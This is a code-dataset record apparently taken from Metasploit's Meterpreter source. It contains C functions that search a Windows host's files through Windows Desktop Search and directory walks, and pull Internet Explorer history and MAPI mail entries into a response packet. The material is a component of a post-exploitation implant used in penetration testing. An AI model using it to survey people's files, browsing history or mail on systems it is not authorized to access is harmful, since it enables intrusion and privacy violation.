'\x00'; cpFileName = cpFile + 1; } else { cpDirectory = ""; cpFileName = cpDirectory; } search_add_result( pResponse, cpDirectory, cpFileName, rowSearchResults.dwSizeValue ); dprintf( "[SEARCH] wds_execute. Found: %s\\%s", cpDirectory, cpFileName ); } hr = IRowset_ReleaseRows( pRowset, dbCount, pRows, NULL, NULL, NULL ); if( FAILED( hr ) ) BREAK_WITH_ERROR( "[SEARCH] wds_execute: IRowset_ReleaseRows Failed", hr ); } } while( 0 ); if( pAccessor ) { IAccessor_ReleaseAccessor( pAccessor, hAccessor, NULL ); IAccessor_Release( pAccessor ); } if( pRowset ) IRowset_Release( pRowset ); return dwResult; }
[ "HRESULT", "wds_execute", "(", "ICommand", "*", "pCommand", ",", "Packet", "*", "pResponse", ")", "{", "IRowset", "*", "pRowset", "=", "NULL", ";", "IAccessor", "*", "pAccessor", "=", "NULL", ";", "size_t", "dwLength", "=", "0", ";", "HACCESSOR", "hAccessor", "=", "0", ";", "DBCOUNTITEM", "dbCount", "=", "0", ";", "DWORD", "dwResult", "=", "0", ";", "HRESULT", "hr", "=", "0", ";", "DBBINDING", "dbBindings", "[", "2", "]", "=", "{", "0", "}", ";", "SEARCH_ROW", "rowSearchResults", "=", "{", "0", "}", ";", "HROW", "hRow", "[", "1", "]", "=", "{", "0", "}", ";", "HROW", "*", "pRows", "=", "&", "hRow", "[", "0", "]", ";", "do", "{", "hr", "=", "ICommand_Execute", "(", "pCommand", ",", "NULL", ",", "&", "_IID_IRowset", ",", "NULL", ",", "NULL", ",", "(", "IUnknown", "*", "*", ")", "&", "pRowset", ")", ";", "if", "(", "FAILED", "(", "hr", ")", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "hr", ")", ";", "hr", "=", "IRowset_QueryInterface", "(", "pRowset", ",", "&", "_IID_IAccessor", ",", "(", "LPVOID", "*", ")", "&", "pAccessor", ")", ";", "if", "(", "FAILED", "(", "hr", ")", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "hr", ")", ";", "memset", "(", "&", "dbBindings", ",", "0", ",", "sizeof", "(", "DBBINDING", ")", "*", "2", ")", ";", "dbBindings", "[", "0", "]", ".", "iOrdinal", "=", "1", ";", "dbBindings", "[", "0", "]", ".", "dwPart", "=", "DBPART_STATUS", "|", "DBPART_LENGTH", "|", "DBPART_VALUE", ";", "dbBindings", "[", "0", "]", ".", "dwMemOwner", "=", "DBMEMOWNER_CLIENTOWNED", ";", "dbBindings", "[", "0", "]", ".", "cbMaxLen", "=", "sizeof", "(", "DWORD", ")", ";", "dbBindings", "[", "0", "]", ".", "dwFlags", "=", "0", ";", "dbBindings", "[", "0", "]", ".", "eParamIO", "=", "DBPARAMIO_NOTPARAM", ";", "dbBindings", "[", "0", "]", ".", "wType", "=", "DBTYPE_I4", ";", "dbBindings", "[", "0", "]", ".", "obStatus", "=", "offsetof", "(", "SEARCH_ROW", ",", "dbSizeStatus", ")", ";", "dbBindings", "[", "0", "]", ".", "obLength", "=", "offsetof", "(", "SEARCH_ROW", ",", "dwSizeLength", ")", ";", "dbBindings", "[", "0", "]", ".", "obValue", "=", "offsetof", "(", "SEARCH_ROW", ",", "dwSizeValue", ")", ";", "dbBindings", "[", "1", "]", ".", "iOrdinal", "=", "2", ";", "dbBindings", "[", "1", "]", ".", "dwPart", "=", "DBPART_STATUS", "|", "DBPART_LENGTH", "|", "DBPART_VALUE", ";", "dbBindings", "[", "1", "]", ".", "dwMemOwner", "=", "DBMEMOWNER_CLIENTOWNED", ";", "dbBindings", "[", "1", "]", ".", "cbMaxLen", "=", "MAX_PATH", ";", "dbBindings", "[", "1", "]", ".", "dwFlags", "=", "0", ";", "dbBindings", "[", "1", "]", ".", "eParamIO", "=", "DBPARAMIO_NOTPARAM", ";", "dbBindings", "[", "1", "]", ".", "wType", "=", "DBTYPE_STR", ";", "dbBindings", "[", "1", "]", ".", "obStatus", "=", "offsetof", "(", "SEARCH_ROW", ",", "dbPathStatus", ")", ";", "dbBindings", "[", "1", "]", ".", "obLength", "=", "offsetof", "(", "SEARCH_ROW", ",", "dwPathLength", ")", ";", "dbBindings", "[", "1", "]", ".", "obValue", "=", "offsetof", "(", "SEARCH_ROW", ",", "cPathValue", ")", ";", "hr", "=", "IAccessor_CreateAccessor", "(", "pAccessor", ",", "DBACCESSOR_ROWDATA", ",", "2", ",", "(", "DBBINDING", "*", ")", "&", "dbBindings", ",", "0", ",", "&", "hAccessor", ",", "NULL", ")", ";", "if", "(", "FAILED", "(", "hr", ")", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "hr", ")", ";", "while", "(", "TRUE", ")", "{", "memset", "(", "&", "rowSearchResults", ",", "0", ",", "sizeof", "(", "SEARCH_ROW", ")", ")", ";", "hr", "=", "IRowset_GetNextRows", "(", "pRowset", ",", "DB_NULL_HCHAPTER", ",", "0", ",", "1", ",", "&", "dbCount", ",", "(", "HROW", "*", "*", ")", "&", "pRows", ")", ";", "if", "(", "FAILED", "(", "hr", ")", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "hr", ")", ";", "if", "(", "!", "dbCount", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "ERROR_SUCCESS", ")", ";", "hr", "=", "IRowset_GetData", "(", "pRowset", ",", "hRow", "[", "0", "]", ",", "hAccessor", ",", "&", "rowSearchResults", ")", ";", "if", "(", "FAILED", "(", "hr", ")", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "hr", ")", ";", "if", "(", "_memicmp", "(", "\"", "\"", ",", "rowSearchResults", ".", "cPathValue", ",", "10", ")", "==", "0", ")", "{", "char", "*", "cpHistory", "=", "strstr", "(", "rowSearchResults", ".", "cPathValue", ",", "\"", "\"", ")", ";", "if", "(", "cpHistory", ")", "search_add_result", "(", "pResponse", ",", "\"", "\"", ",", "cpHistory", "+", "2", ",", "0", ")", ";", "}", "else", "if", "(", "_memicmp", "(", "\"", "\"", ",", "rowSearchResults", ".", "cPathValue", ",", "5", ")", "==", "0", ")", "{", "char", "*", "cpHistory", "=", "strstr", "(", "rowSearchResults", ".", "cPathValue", ",", "\"", "\"", ")", ";", "if", "(", "cpHistory", ")", "search_add_result", "(", "pResponse", ",", "\"", "\"", ",", "cpHistory", "+", "2", ",", "0", ")", ";", "}", "else", "if", "(", "rowSearchResults", ".", "dwSizeValue", ">", "0", ")", "{", "size_t", "i", "=", "0", ";", "char", "*", "cpFileName", "=", "\"", "\"", ";", "char", "*", "cpFile", "=", "\"", "\"", ";", "char", "*", "cpDirectory", "=", "(", "char", "*", ")", "&", "rowSearchResults", ".", "cPathValue", ";", "if", "(", "_memicmp", "(", "\"", "\"", ",", "cpDirectory", ",", "strlen", "(", "\"", "\"", ")", ")", "==", "0", ")", "cpDirectory", "=", "(", "char", "*", ")", "(", "cpDirectory", "+", "strlen", "(", "\"", "\"", ")", ")", ";", "for", "(", "i", "=", "0", ";", "i", "<", "strlen", "(", "cpDirectory", ")", ";", "i", "++", ")", "{", "if", "(", "cpDirectory", "[", "i", "]", "==", "'", "'", ")", "cpDirectory", "[", "i", "]", "=", "'", "\\\\", "'", ";", "}", "cpFile", "=", "strrchr", "(", "cpDirectory", ",", "'", "\\\\", "'", ")", ";", "if", "(", "cpFile", ")", "{", "*", "cpFile", "=", "'", "\\x00", "'", ";", "cpFileName", "=", "cpFile", "+", "1", ";", "}", "else", "{", "cpDirectory", "=", "\"", "\"", ";", "cpFileName", "=", "cpDirectory", ";", "}", "search_add_result", "(", "pResponse", ",", "cpDirectory", ",", "cpFileName", ",", "rowSearchResults", ".", "dwSizeValue", ")", ";", "dprintf", "(", "\"", "\\\\", "\"", ",", "cpDirectory", ",", "cpFileName", ")", ";", "}", "hr", "=", "IRowset_ReleaseRows", "(", "pRowset", ",", "dbCount", ",", "pRows", ",", "NULL", ",", "NULL", ",", "NULL", ")", ";", "if", "(", "FAILED", "(", "hr", ")", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "hr", ")", ";", "}", "}", "while", "(", "0", ")", ";", "if", "(", "pAccessor", ")", "{", "IAccessor_ReleaseAccessor", "(", "pAccessor", ",", "hAccessor", ",", "NULL", ")", ";", "IAccessor_Release", "(", "pAccessor", ")", ";", "}", "if", "(", "pRowset", ")", "IRowset_Release", "(", "pRowset", ")", ";", "return", "dwResult", ";", "}" ]
Helper function to execute a WDS v2 or v3 search via COM and process any results (assumes rows have columns of 'size,path').
[ "Helper", "function", "to", "execute", "a", "WDS", "v2", "or", "v3", "search", "via", "COM", "and", "process", "any", "results", "(", "assumes", "rows", "have", "columns", "of", "'", "size", "path", "'", ")", "." ]
[ "// \"iehistory://{*}/\"\r", "// \"mapi://{*}/\"\r" ]
[ { "param": "pCommand", "type": "ICommand" }, { "param": "pResponse", "type": "Packet" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "pCommand", "type": "ICommand", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "pResponse", "type": "Packet", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
a93494021273fabc318f4981ded91e5f5db071ff
Oxicode/metasploit-framework
external/source/meterpreter/source/extensions/stdapi/server/fs/search.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
wds2_search
DWORD
DWORD wds2_search( WDS_INTERFACE * pWDSInterface, char * cpCurrentDirectory, SEARCH_OPTIONS * pOptions, Packet * pResponse ) { DWORD dwResult = ERROR_SUCCESS; ICommand * pCommand = NULL; DBCOMMANDTREE * pTree = NULL; ICommandTree * pCommandTree = NULL; WCHAR * wpQuery = NULL; WCHAR * wpFileGlob = NULL; WCHAR * wpCurrentDirectory = NULL; char * cpNewCurrent = NULL; DWORD dwDepth[1] = {0}; WCHAR * wcScope[1] = {0}; WCHAR * wcCatalog[1] = {0}; WCHAR * wcMachines[1] = {0}; HRESULT hr = 0; size_t dwLength = 0; dprintf( "[SEARCH] wds2_search: Starting..." ); do { if( !pWDSInterface ) BREAK_WITH_ERROR( "[SEARCH] wds2_search: !pWDSInterface", ERROR_INVALID_PARAMETER ); if( !pWDSInterface->bWDS2Available ) break; if( !pResponse || !pOptions ) BREAK_WITH_ERROR( "[SEARCH] wds2_search: !pResultList || !pOptions", ERROR_INVALID_PARAMETER ); if( !cpCurrentDirectory ) cpCurrentDirectory = pOptions->cpRootDirectory; // sf: WDS v2 can bawk if a trailing slash is not present on some paths :/ dwLength = strlen( cpCurrentDirectory ); if( cpCurrentDirectory[dwLength-1] != '\\' ) { cpNewCurrent = (char *)malloc( dwLength + 2 ); if( !cpNewCurrent ) BREAK_WITH_ERROR( "[SEARCH] wds2_search: !cpNewCurrent", ERROR_OUTOFMEMORY ); memset( cpNewCurrent, 0, dwLength + 2 ); sprintf( cpNewCurrent, "%s\\", cpCurrentDirectory ); cpCurrentDirectory = cpNewCurrent; } if( pOptions->bResursive ) dwDepth[0] = QUERY_DEEP | QUERY_PHYSICAL_PATH; else dwDepth[0] = QUERY_SHALLOW | QUERY_PHYSICAL_PATH; dwLength = mbstowcs( NULL, cpCurrentDirectory, 0 ) + 1; wpCurrentDirectory = (WCHAR *)malloc( dwLength * sizeof(WCHAR) ); if( !wpCurrentDirectory ) BREAK_WITH_ERROR( "[SEARCH] wds2_search: !wpCurrentDirectory", ERROR_OUTOFMEMORY ); memset( wpCurrentDirectory, 0, dwLength * sizeof(WCHAR) ); if( mbstowcs( wpCurrentDirectory, cpCurrentDirectory, dwLength ) == -1 ) BREAK_WITH_ERROR( "[SEARCH] wds2_search: mbstowcs wpCurrentDirectory failed", ERROR_INVALID_PARAMETER ); wcScope[0] = wpCurrentDirectory; wcCatalog[0] = L"System"; wcMachines[0] = L"."; hr = pWDSInterface->pCIMakeICommand( (ICommand**)&pCommand, 1, (DWORD *)&dwDepth, (WCHAR **)&wcScope, (WCHAR **)&wcCatalog, (WCHAR **)&wcMachines ); if( FAILED( hr ) ) BREAK_WITH_ERROR( "[SEARCH] wds2_search: CIMakeICommand Failed", hr ); hr = ICommand_QueryInterface( pCommand, &_IID_ICommandTree, (LPVOID *)&pCommandTree ); if( FAILED( hr ) ) BREAK_WITH_ERROR( "[SEARCH] wds2_search: ICommand_QueryInterface Failed", hr ); dwLength = mbstowcs( NULL, pOptions->cpFileGlob, 0 ) + 1; wpFileGlob = (WCHAR *)malloc( dwLength * sizeof(WCHAR) ); if( !wpFileGlob ) BREAK_WITH_ERROR( "[SEARCH] wds2_search: !wpFileGlob", ERROR_OUTOFMEMORY ); wpQuery = (WCHAR *)malloc( ( dwLength + 128 ) * sizeof(WCHAR) ); if( !wpQuery ) BREAK_WITH_ERROR( "[SEARCH] wds2_search: !wpQuery", ERROR_OUTOFMEMORY ); memset( wpFileGlob, 0, dwLength * sizeof(WCHAR) ); memset( wpQuery, 0, ( dwLength + 128 ) * sizeof(WCHAR) ); if( mbstowcs( wpFileGlob, pOptions->cpFileGlob, dwLength ) == -1 ) BREAK_WITH_ERROR( "[SEARCH] wds2_search: mbstowcs wpFileGlob failed", ERROR_INVALID_PARAMETER ); swprintf_s( wpQuery, ( dwLength + 128 ), L"#filename = %s", wpFileGlob ); hr = pWDSInterface->pCITextToFullTree( wpQuery, L"size,path", NULL, NULL, &pTree, 0, NULL, GetSystemDefaultLCID() ); if( FAILED( hr ) ) BREAK_WITH_ERROR( "[SEARCH] wds2_search: CITextToFullTree Failed", hr ); hr = ICommandTree_SetCommandTree( pCommandTree, &pTree, DBCOMMANDREUSE_NONE, FALSE ); if( FAILED( hr ) ) BREAK_WITH_ERROR( "[SEARCH] wds2_search: ICommandTree_SetCommandTree Failed", hr ); hr = wds_execute( pCommand, pResponse ); if( FAILED( hr ) ) BREAK_WITH_ERROR( "[SEARCH] wds2_search: wds_execute Failed", hr ); } while( 0 ); if( pCommandTree ) ICommandTree_Release( pCommandTree ); if( pCommand ) ICommand_Release( pCommand ); if( wpFileGlob ) free( wpFileGlob ); if( wpQuery ) free( wpQuery ); if( wpCurrentDirectory ) free( wpCurrentDirectory ); if( cpNewCurrent ) free( cpNewCurrent ); dprintf( "[SEARCH] wds2_search: Finished." ); return dwResult; }
/* * Search via Windows Desktop Search v2 via COM */
Search via Windows Desktop Search v2 via COM
[ "Search", "via", "Windows", "Desktop", "Search", "v2", "via", "COM" ]
DWORD wds2_search( WDS_INTERFACE * pWDSInterface, char * cpCurrentDirectory, SEARCH_OPTIONS * pOptions, Packet * pResponse ) { DWORD dwResult = ERROR_SUCCESS; ICommand * pCommand = NULL; DBCOMMANDTREE * pTree = NULL; ICommandTree * pCommandTree = NULL; WCHAR * wpQuery = NULL; WCHAR * wpFileGlob = NULL; WCHAR * wpCurrentDirectory = NULL; char * cpNewCurrent = NULL; DWORD dwDepth[1] = {0}; WCHAR * wcScope[1] = {0}; WCHAR * wcCatalog[1] = {0}; WCHAR * wcMachines[1] = {0}; HRESULT hr = 0; size_t dwLength = 0; dprintf( "[SEARCH] wds2_search: Starting..." ); do { if( !pWDSInterface ) BREAK_WITH_ERROR( "[SEARCH] wds2_search: !pWDSInterface", ERROR_INVALID_PARAMETER ); if( !pWDSInterface->bWDS2Available ) break; if( !pResponse || !pOptions ) BREAK_WITH_ERROR( "[SEARCH] wds2_search: !pResultList || !pOptions", ERROR_INVALID_PARAMETER ); if( !cpCurrentDirectory ) cpCurrentDirectory = pOptions->cpRootDirectory; dwLength = strlen( cpCurrentDirectory ); if( cpCurrentDirectory[dwLength-1] != '\\' ) { cpNewCurrent = (char *)malloc( dwLength + 2 ); if( !cpNewCurrent ) BREAK_WITH_ERROR( "[SEARCH] wds2_search: !cpNewCurrent", ERROR_OUTOFMEMORY ); memset( cpNewCurrent, 0, dwLength + 2 ); sprintf( cpNewCurrent, "%s\\", cpCurrentDirectory ); cpCurrentDirectory = cpNewCurrent; } if( pOptions->bResursive ) dwDepth[0] = QUERY_DEEP | QUERY_PHYSICAL_PATH; else dwDepth[0] = QUERY_SHALLOW | QUERY_PHYSICAL_PATH; dwLength = mbstowcs( NULL, cpCurrentDirectory, 0 ) + 1; wpCurrentDirectory = (WCHAR *)malloc( dwLength * sizeof(WCHAR) ); if( !wpCurrentDirectory ) BREAK_WITH_ERROR( "[SEARCH] wds2_search: !wpCurrentDirectory", ERROR_OUTOFMEMORY ); memset( wpCurrentDirectory, 0, dwLength * sizeof(WCHAR) ); if( mbstowcs( wpCurrentDirectory, cpCurrentDirectory, dwLength ) == -1 ) BREAK_WITH_ERROR( "[SEARCH] wds2_search: mbstowcs wpCurrentDirectory failed", ERROR_INVALID_PARAMETER ); wcScope[0] = wpCurrentDirectory; wcCatalog[0] = L"System"; wcMachines[0] = L"."; hr = pWDSInterface->pCIMakeICommand( (ICommand**)&pCommand, 1, (DWORD *)&dwDepth, (WCHAR **)&wcScope, (WCHAR **)&wcCatalog, (WCHAR **)&wcMachines ); if( FAILED( hr ) ) BREAK_WITH_ERROR( "[SEARCH] wds2_search: CIMakeICommand Failed", hr ); hr = ICommand_QueryInterface( pCommand, &_IID_ICommandTree, (LPVOID *)&pCommandTree ); if( FAILED( hr ) ) BREAK_WITH_ERROR( "[SEARCH] wds2_search: ICommand_QueryInterface Failed", hr ); dwLength = mbstowcs( NULL, pOptions->cpFileGlob, 0 ) + 1; wpFileGlob = (WCHAR *)malloc( dwLength * sizeof(WCHAR) ); if( !wpFileGlob ) BREAK_WITH_ERROR( "[SEARCH] wds2_search: !wpFileGlob", ERROR_OUTOFMEMORY ); wpQuery = (WCHAR *)malloc( ( dwLength + 128 ) * sizeof(WCHAR) ); if( !wpQuery ) BREAK_WITH_ERROR( "[SEARCH] wds2_search: !wpQuery", ERROR_OUTOFMEMORY ); memset( wpFileGlob, 0, dwLength * sizeof(WCHAR) ); memset( wpQuery, 0, ( dwLength + 128 ) * sizeof(WCHAR) ); if( mbstowcs( wpFileGlob, pOptions->cpFileGlob, dwLength ) == -1 ) BREAK_WITH_ERROR( "[SEARCH] wds2_search: mbstowcs wpFileGlob failed", ERROR_INVALID_PARAMETER ); swprintf_s( wpQuery, ( dwLength + 128 ), L"#filename = %s", wpFileGlob ); hr = pWDSInterface->pCITextToFullTree( wpQuery, L"size,path", NULL, NULL, &pTree, 0, NULL, GetSystemDefaultLCID() ); if( FAILED( hr ) ) BREAK_WITH_ERROR( "[SEARCH] wds2_search: CITextToFullTree Failed", hr ); hr = ICommandTree_SetCommandTree( pCommandTree, &pTree, DBCOMMANDREUSE_NONE, FALSE ); if( FAILED( hr ) ) BREAK_WITH_ERROR( "[SEARCH] wds2_search: ICommandTree_SetCommandTree Failed", hr ); hr = wds_execute( pCommand, pResponse ); if( FAILED( hr ) ) BREAK_WITH_ERROR( "[SEARCH] wds2_search: wds_execute Failed", hr ); } while( 0 ); if( pCommandTree ) ICommandTree_Release( pCommandTree ); if( pCommand ) ICommand_Release( pCommand ); if( wpFileGlob ) free( wpFileGlob ); if( wpQuery ) free( wpQuery ); if( wpCurrentDirectory ) free( wpCurrentDirectory ); if( cpNewCurrent ) free( cpNewCurrent ); dprintf( "[SEARCH] wds2_search: Finished." ); return dwResult; }
[ "DWORD", "wds2_search", "(", "WDS_INTERFACE", "*", "pWDSInterface", ",", "char", "*", "cpCurrentDirectory", ",", "SEARCH_OPTIONS", "*", "pOptions", ",", "Packet", "*", "pResponse", ")", "{", "DWORD", "dwResult", "=", "ERROR_SUCCESS", ";", "ICommand", "*", "pCommand", "=", "NULL", ";", "DBCOMMANDTREE", "*", "pTree", "=", "NULL", ";", "ICommandTree", "*", "pCommandTree", "=", "NULL", ";", "WCHAR", "*", "wpQuery", "=", "NULL", ";", "WCHAR", "*", "wpFileGlob", "=", "NULL", ";", "WCHAR", "*", "wpCurrentDirectory", "=", "NULL", ";", "char", "*", "cpNewCurrent", "=", "NULL", ";", "DWORD", "dwDepth", "[", "1", "]", "=", "{", "0", "}", ";", "WCHAR", "*", "wcScope", "[", "1", "]", "=", "{", "0", "}", ";", "WCHAR", "*", "wcCatalog", "[", "1", "]", "=", "{", "0", "}", ";", "WCHAR", "*", "wcMachines", "[", "1", "]", "=", "{", "0", "}", ";", "HRESULT", "hr", "=", "0", ";", "size_t", "dwLength", "=", "0", ";", "dprintf", "(", "\"", "\"", ")", ";", "do", "{", "if", "(", "!", "pWDSInterface", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "ERROR_INVALID_PARAMETER", ")", ";", "if", "(", "!", "pWDSInterface", "->", "bWDS2Available", ")", "break", ";", "if", "(", "!", "pResponse", "||", "!", "pOptions", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "ERROR_INVALID_PARAMETER", ")", ";", "if", "(", "!", "cpCurrentDirectory", ")", "cpCurrentDirectory", "=", "pOptions", "->", "cpRootDirectory", ";", "dwLength", "=", "strlen", "(", "cpCurrentDirectory", ")", ";", "if", "(", "cpCurrentDirectory", "[", "dwLength", "-", "1", "]", "!=", "'", "\\\\", "'", ")", "{", "cpNewCurrent", "=", "(", "char", "*", ")", "malloc", "(", "dwLength", "+", "2", ")", ";", "if", "(", "!", "cpNewCurrent", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "ERROR_OUTOFMEMORY", ")", ";", "memset", "(", "cpNewCurrent", ",", "0", ",", "dwLength", "+", "2", ")", ";", "sprintf", "(", "cpNewCurrent", ",", "\"", "\\\\", "\"", ",", "cpCurrentDirectory", ")", ";", "cpCurrentDirectory", "=", "cpNewCurrent", ";", "}", "if", "(", "pOptions", "->", "bResursive", ")", "dwDepth", "[", "0", "]", "=", "QUERY_DEEP", "|", "QUERY_PHYSICAL_PATH", ";", "else", "dwDepth", "[", "0", "]", "=", "QUERY_SHALLOW", "|", "QUERY_PHYSICAL_PATH", ";", "dwLength", "=", "mbstowcs", "(", "NULL", ",", "cpCurrentDirectory", ",", "0", ")", "+", "1", ";", "wpCurrentDirectory", "=", "(", "WCHAR", "*", ")", "malloc", "(", "dwLength", "*", "sizeof", "(", "WCHAR", ")", ")", ";", "if", "(", "!", "wpCurrentDirectory", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "ERROR_OUTOFMEMORY", ")", ";", "memset", "(", "wpCurrentDirectory", ",", "0", ",", "dwLength", "*", "sizeof", "(", "WCHAR", ")", ")", ";", "if", "(", "mbstowcs", "(", "wpCurrentDirectory", ",", "cpCurrentDirectory", ",", "dwLength", ")", "==", "-1", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "ERROR_INVALID_PARAMETER", ")", ";", "wcScope", "[", "0", "]", "=", "wpCurrentDirectory", ";", "wcCatalog", "[", "0", "]", "=", "L\"", "\"", ";", "wcMachines", "[", "0", "]", "=", "L\"", "\"", ";", "hr", "=", "pWDSInterface", "->", "pCIMakeICommand", "(", "(", "ICommand", "*", "*", ")", "&", "pCommand", ",", "1", ",", "(", "DWORD", "*", ")", "&", "dwDepth", ",", "(", "WCHAR", "*", "*", ")", "&", "wcScope", ",", "(", "WCHAR", "*", "*", ")", "&", "wcCatalog", ",", "(", "WCHAR", "*", "*", ")", "&", "wcMachines", ")", ";", "if", "(", "FAILED", "(", "hr", ")", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "hr", ")", ";", "hr", "=", "ICommand_QueryInterface", "(", "pCommand", ",", "&", "_IID_ICommandTree", ",", "(", "LPVOID", "*", ")", "&", "pCommandTree", ")", ";", "if", "(", "FAILED", "(", "hr", ")", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "hr", ")", ";", "dwLength", "=", "mbstowcs", "(", "NULL", ",", "pOptions", "->", "cpFileGlob", ",", "0", ")", "+", "1", ";", "wpFileGlob", "=", "(", "WCHAR", "*", ")", "malloc", "(", "dwLength", "*", "sizeof", "(", "WCHAR", ")", ")", ";", "if", "(", "!", "wpFileGlob", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "ERROR_OUTOFMEMORY", ")", ";", "wpQuery", "=", "(", "WCHAR", "*", ")", "malloc", "(", "(", "dwLength", "+", "128", ")", "*", "sizeof", "(", "WCHAR", ")", ")", ";", "if", "(", "!", "wpQuery", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "ERROR_OUTOFMEMORY", ")", ";", "memset", "(", "wpFileGlob", ",", "0", ",", "dwLength", "*", "sizeof", "(", "WCHAR", ")", ")", ";", "memset", "(", "wpQuery", ",", "0", ",", "(", "dwLength", "+", "128", ")", "*", "sizeof", "(", "WCHAR", ")", ")", ";", "if", "(", "mbstowcs", "(", "wpFileGlob", ",", "pOptions", "->", "cpFileGlob", ",", "dwLength", ")", "==", "-1", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "ERROR_INVALID_PARAMETER", ")", ";", "swprintf_s", "(", "wpQuery", ",", "(", "dwLength", "+", "128", ")", ",", "L\"", "\"", ",", "wpFileGlob", ")", ";", "hr", "=", "pWDSInterface", "->", "pCITextToFullTree", "(", "wpQuery", ",", "L\"", "\"", ",", "NULL", ",", "NULL", ",", "&", "pTree", ",", "0", ",", "NULL", ",", "GetSystemDefaultLCID", "(", ")", ")", ";", "if", "(", "FAILED", "(", "hr", ")", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "hr", ")", ";", "hr", "=", "ICommandTree_SetCommandTree", "(", "pCommandTree", ",", "&", "pTree", ",", "DBCOMMANDREUSE_NONE", ",", "FALSE", ")", ";", "if", "(", "FAILED", "(", "hr", ")", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "hr", ")", ";", "hr", "=", "wds_execute", "(", "pCommand", ",", "pResponse", ")", ";", "if", "(", "FAILED", "(", "hr", ")", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "hr", ")", ";", "}", "while", "(", "0", ")", ";", "if", "(", "pCommandTree", ")", "ICommandTree_Release", "(", "pCommandTree", ")", ";", "if", "(", "pCommand", ")", "ICommand_Release", "(", "pCommand", ")", ";", "if", "(", "wpFileGlob", ")", "free", "(", "wpFileGlob", ")", ";", "if", "(", "wpQuery", ")", "free", "(", "wpQuery", ")", ";", "if", "(", "wpCurrentDirectory", ")", "free", "(", "wpCurrentDirectory", ")", ";", "if", "(", "cpNewCurrent", ")", "free", "(", "cpNewCurrent", ")", ";", "dprintf", "(", "\"", "\"", ")", ";", "return", "dwResult", ";", "}" ]
Search via Windows Desktop Search v2 via COM
[ "Search", "via", "Windows", "Desktop", "Search", "v2", "via", "COM" ]
[ "// sf: WDS v2 can bawk if a trailing slash is not present on some paths :/\r" ]
[ { "param": "pWDSInterface", "type": "WDS_INTERFACE" }, { "param": "cpCurrentDirectory", "type": "char" }, { "param": "pOptions", "type": "SEARCH_OPTIONS" }, { "param": "pResponse", "type": "Packet" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "pWDSInterface", "type": "WDS_INTERFACE", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "cpCurrentDirectory", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "pOptions", "type": "SEARCH_OPTIONS", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "pResponse", "type": "Packet", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
a93494021273fabc318f4981ded91e5f5db071ff
Oxicode/metasploit-framework
external/source/meterpreter/source/extensions/stdapi/server/fs/search.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
search_directory
DWORD
DWORD search_directory( char * cpDirectory, SEARCH_OPTIONS * pOptions, Packet * pResponse ) { DWORD dwResult = ERROR_SUCCESS; HANDLE hFile = NULL; char * cpFirstFile = NULL; WIN32_FIND_DATA FindData = {0}; size_t dwLength = 0; do { dwLength = strlen( cpDirectory ) + strlen( pOptions->cpFileGlob ) + 32; cpFirstFile = (char *)malloc( dwLength ); if( !cpFirstFile ) BREAK_WITH_ERROR( "[SEARCH] search_directory: !cpFirstFile", ERROR_OUTOFMEMORY ); sprintf_s( cpFirstFile, dwLength, "%s\\%s", cpDirectory, pOptions->cpFileGlob ); hFile = FindFirstFile( cpFirstFile, &FindData ); if( hFile == INVALID_HANDLE_VALUE ) { // if not files in this directory matched our pattern, finish with success if( GetLastError() == ERROR_FILE_NOT_FOUND ) break; // otherwise we fail with an error BREAK_ON_ERROR( "[SEARCH] search_directory: FindFirstFile Failed." ); } do { do { if( strcmp( FindData.cFileName, "." ) == 0 ) break; if( strcmp( FindData.cFileName, ".." ) == 0 ) break; if( FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY ) break; search_add_result( pResponse, cpDirectory, FindData.cFileName, FindData.nFileSizeLow ); dprintf( "[SEARCH] search_directory. Found: %s\\%s", cpDirectory, FindData.cFileName ); } while( 0 ); } while( FindNextFile( hFile, &FindData ) != 0 ); } while( 0 ); if( cpFirstFile ) free( cpFirstFile ); if( hFile ) FindClose( hFile ); return dwResult; }
/* * Search a directory for files. */
Search a directory for files.
[ "Search", "a", "directory", "for", "files", "." ]
